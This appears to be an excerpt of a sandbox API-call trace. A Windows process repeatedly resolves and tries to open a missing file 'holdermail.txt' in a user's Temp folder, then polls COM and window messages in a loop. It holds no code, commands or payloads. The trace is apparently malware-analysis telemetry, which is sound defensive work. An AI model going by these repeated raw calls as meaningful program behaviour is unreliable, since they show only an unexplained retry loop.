	[0089.299] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.300] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.300] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.300] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.300] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.301] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.301] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.301] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.301] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.302] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.302] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.302] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.302] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.302] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.302] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.303] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.303] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.303] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.303] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.303] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.303] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.303] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.304] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.304] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.304] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.304] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.305] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.305] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.305] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.306] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.306] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.306] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.306] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.306] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.306] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.307] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.307] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.307] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.307] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.307] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.307] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.307] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.308] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.308] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.308] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.308] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.309] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.309] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.309] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.310] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.310] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.310] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.310] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.310] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.311] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.311] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.311] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.311] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.311] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.311] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.312] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.312] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.312] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.312] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.312] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.312] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.313] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.313] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.313] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.313] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.314] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.314] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.314] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.314] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
